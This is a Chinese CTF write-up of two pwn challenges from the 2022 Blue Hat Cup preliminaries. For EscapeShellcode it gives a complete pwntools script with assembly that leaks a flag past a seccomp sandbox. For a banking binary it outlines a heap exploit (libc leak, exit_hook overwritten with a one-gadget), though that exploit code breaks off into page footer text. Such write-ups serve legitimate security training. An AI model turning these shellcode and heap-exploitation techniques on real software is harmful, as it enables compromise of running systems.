2022蓝帽pwn初赛wp

本文介绍了两个挑战:EscapeShellcode中的内存覆盖技巧和银行应用的内存安全漏洞利用。第一部分涉及利用write函数进行代码执行,第二部分展示了如何通过内存操作和功能滥用(如realloc、memcpy)来获取 libc 基址并触发退出。

第一题的第五个解出:

8RXOF$HL_Y3FZ%XNJ3DO%G6

第二题的三血

4O`7~$5(1E(BX]~7UIT4DF1

总体难度偏简单。

EscapeShellcode

清空了所有寄存器(设置为0xdeadbeefdeadbeef),包括rsp。

flag读到了bss段上。

seccomp只允许调用read和write。这里我只用到了write。

利用的主要是:

write,read函数遇到不可读写的区域,会返回<0的值,且不会令程序崩溃。

  • 首先利用syscall会给rcx赋值的特性,将rip的值赋给rcx。
  • 将rcx赋给r8
  • r8减去一个很大的偏移,令他小于codebase,将r8赋给rsi
  • cmp rax,0,不断调用write。
  • r8+=0x200
  • 那么最终r8一定会落在codebase ±0x200范围内,这时候加上偏移0x3f00,加上write函数写的0x200字节,便一定能覆盖到flag。
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
context(arch='amd64')
# r = process('/mnt/hgfs/ubuntu/2022蓝帽/escape_shellcode/escape_shellcode')
r = remote('47.94.194.27',21957)

# gdb.attach(r)
shellcode='''
mov rax,0
syscall
sub rcx,0x3000000
mov r8,rcx
a:
  mov rax,1
  mov rsi,r8
  mov rdi,1
  mov rdx,0x200
  syscall
  add r8,0x200
cmp rax,0
jng a
add rsi,0x3f00
mov rax,1
syscall
'''

r.sendline(asm(shellcode))
r.interactive()

放一个打通的截图:

image-20220709093227650

Bank

最开始程序没提供libc,有点搞。

程序代码比较多,稍微理一下逻辑:

实现了一个类似于银行功能:登录存款取款转账等功能。

存款上限为0x190,全存进去。

代码审计后发现只有转账功能中可以利用。

转账功能中有以下功能:

image-20220709134303865

admin可以越界泄露,hacker可以任意地址free,guest稳定malloc(0x18)大小,ghost则是可以realloc,abyss则是任意地址写一次后调用exit()

思路:

  • 通过realloc先free掉一个堆块,用admin功能show出堆基址。
  • 伪造一个unsortedbin堆块,free掉他,同时用guest功能切割后show泄露libc基址。
  • 然后用abyss功能打exit_hook覆盖为ogg即可

难度应该主要在逆向了。

exp:

from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# r = process('/mnt/hgfs/ubuntu/2022蓝帽/bank/Bank')</
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值